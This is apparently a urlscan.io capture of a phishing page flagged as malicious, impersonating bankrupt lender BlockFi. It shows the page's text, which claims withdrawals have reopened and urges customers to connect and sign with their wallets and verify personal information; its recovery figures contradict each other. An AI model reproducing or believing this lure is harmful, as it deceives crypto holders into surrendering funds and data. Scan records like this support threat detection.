withdrawal.clients-blockfi.com Open in urlscan Pro
45.12.229.112  Malicious Activity! Public Scan

Form analysis
0 forms found in the DOM

Text Content

On November 28, 2022, BlockFi filed voluntary cases under Chapter 11 of the U.S.
Bankruptcy Code. Additional information about our filing can be found on our
blog here.

 * 
 * Products
    * Wallet
      Safeguard and store your crypto
    * Trading
      Buy bitcoin and trade many other cryptocurrencies
    * Crypto-Backed Loans
      Borrow USD at interest rates as low as 4.5%
   
   Institutions
    * BlockFi Prime
      24/7 trading and customizable lending solutions
    * Miners, Exchanges & ATMs
      Mining equipment-backed and crypto loans
   
   Private Client
   Resources
    * Learn
    * News
    * Our Rates
    * Our Loan Rates
   
   Company
    * Mission
    * Leadership Team
    * Investors
    * Careers
    * Contact Us


Navigation Bars


BLOCKFI TRANSFER OPENED

Jersey judge has given the green light for BlockFi wallet to re-access their
funds that have been frozen since November. We strongly advise customers to
transfer all of their cryptocurrency assets off the platform.



WITHDRAW FORM

In order to comply with the law, it is necessary to connect your whitelisted
Blockfi claim wallet with your account & Kindly verify your personal
information, please.


YOUR ACCOUNT METADATA HAS BEEN CONFIRMED. PLEASE VERIFY IDENTITY BELOW TO
WITHDRAW YOUR BIA & WALLET ACCOUNT HOLDINGS





Withdraw Assets
To confirm ownership of the wallet you wish to link to your claim, please sign
the transaction using that specific wallet.

IMPORTANT UPDATE ON INITIAL RECOVERIES TO CUSTOMERS



BlockFi has submitted the necessary documents to the Bankruptcy Court outlining
its proposed approach for implementing the company's Chapter 11 plan. As part of
this plan, BlockFi intends to offer initial recoveries to customers through the
BlockFi website in the form of cryptocurrency.
The total assets held by the estate amount to $1.334 billion, representing
approximately 75.68% of the combined value of customer claims against BlockFi's
estate. As a result of certain holdbacks, customers can expect an initial
recovery estimated at 94% of their claim amount.



* APYs reflect effective yield based on monthly compounding. Actual yield will
vary based on account activity and compliance with BlockFi’s terms and
conditions. Rates are largely dictated by market conditions, which are a key
factor in a company’s ability to provide its clients yield on their crypto
assets. For more information, please see our Terms of Service. Rates are subject
to change. BlockFi will communicate any rate changes prior to these changes
taking effect. Digital currency is not legal tender, is not backed by the
government, and the BlockFi Interest Account (BIA) is not a bank account nor a
brokerage account, and is not subject to FDIC or SIPC protections.

As of February 14, 2022, BlockFi Interest Accounts (BIAs) are no longer
available to new clients who are “U.S. persons” or persons located in the United
States and existing U.S. clients will be unable to transfer new assets to their
BIAs.

Terms Apply



As of February 14, 2022, the BlockFi Interest Account (BIA) is no longer
available to new clients who are US persons or persons located in the US and
existing US clients with BIA accounts are unable to transfer new assets to their
BIAs. Learn More.

Case
Products
Wallet
Private Client
Trading
Crypto-Backed Loans
Institutions
BlockFi Prime
Crypto Mining Loans
Resources
Learn
News
Our Rates
Loan Rates
BIA & Wallet Fees
Private Client Fees
Accessibility
Company
Mission
Leadership Team
Investors
Careers
Contact Us
Status Page
Everything you need on-the-go
Download the BlockFi app


BlockFi Lending LLC NMLS ID#1737520 | NMLS Consumer Access
BlockFi Trading LLC NMLS ID#1873137 | NMLS Consumer Access
Privacy Policy | Legal | Licenses | Disclosures and Complaints | NMLS Consumer
Access
Digital currency is not legal tender, is not backed by the government, and
crypto accounts held with BlockFi are not subject to FDIC or SIPC protections.
Digital currency values are not static and fluctuate due to market changes. Not
all products and services are available in all geographic areas and are subject
to applicable terms and conditions. Eligibility for particular products and
services is subject to final determination by BlockFi. Rates for BlockFi
products are subject to change.

BlockFi Rewards Credit Card: For more information, please see BlockFi’s Terms of
Service. BlockFi is not a Bank. Cards are issued by Evolve Bank & Trust, Member
FDIC, pursuant to a license from Visa® USA Inc. Rewards are not offered by
Evolve Bank & Trust and are instead offered and managed by BlockFi.

BlockFi International Ltd. holds a Class F digital assets business license under
the Digital Assets Business Act, 2018 (as amended) and is licensed by the
Bermuda Monetary Authority to conduct the following digital assets business
activities: (i) issuing, selling or redeeming virtual coins, tokens or any other
form of digital assets (ii) operating as a digital asset exchange (iii)
providing custodial wallet services (iv) operating as a digital asset derivative
exchange provider and (v) operating as a digital assets services vendor.

See terms for more information.

2022 © All Rights Reserved.

Products Arrow Pointing Down
Institutions Arrow Pointing Down
Resources Arrow Pointing Down
Company Arrow Pointing Down
Follow Us Arrow Pointing Down
Everything you need on-the go
Download the BlockFi app


Case
BlockFi Lending LLC NMLS ID#1737520 | NMLS Consumer Access
BlockFi Trading LLC NMLS ID#1873137 | NMLS Consumer Access
Privacy Policy | Legal | Licenses | Disclosures and Complaints | NMLS Consumer
Access
Digital currency is not legal tender, is not backed by the government, and
crypto accounts held with BlockFi are not subject to FDIC or SIPC protections.
Digital currency values are not static and fluctuate due to market changes. Not
all products and services are available in all geographic areas and are subject
to applicable terms and conditions. Eligibility for particular products and
services is subject to final determination by BlockFi. Rates for BlockFi
products are subject to change.

BlockFi Rewards Credit Card: For more information, please see BlockFi’s Terms of
Service. BlockFi is not a Bank. Cards are issued by Evolve Bank & Trust, Member
FDIC, pursuant to a license from Visa® USA Inc. Rewards are not offered by
Evolve Bank & Trust and are instead offered and managed by BlockFi.

BlockFi International Ltd. holds a Class F digital assets business license under
the Digital Assets Business Act, 2018 (as amended) and is licensed by the
Bermuda Monetary Authority to conduct the following digital assets business
activities: (i) issuing, selling or redeeming virtual coins, tokens or any other
form of digital assets (ii) operating as a digital asset exchange (iii)
providing custodial wallet services (iv) operating as a digital asset derivative
exchange provider and (v) operating as a digital assets services vendor.

See terms for more information.

2022 © All Rights Reserved.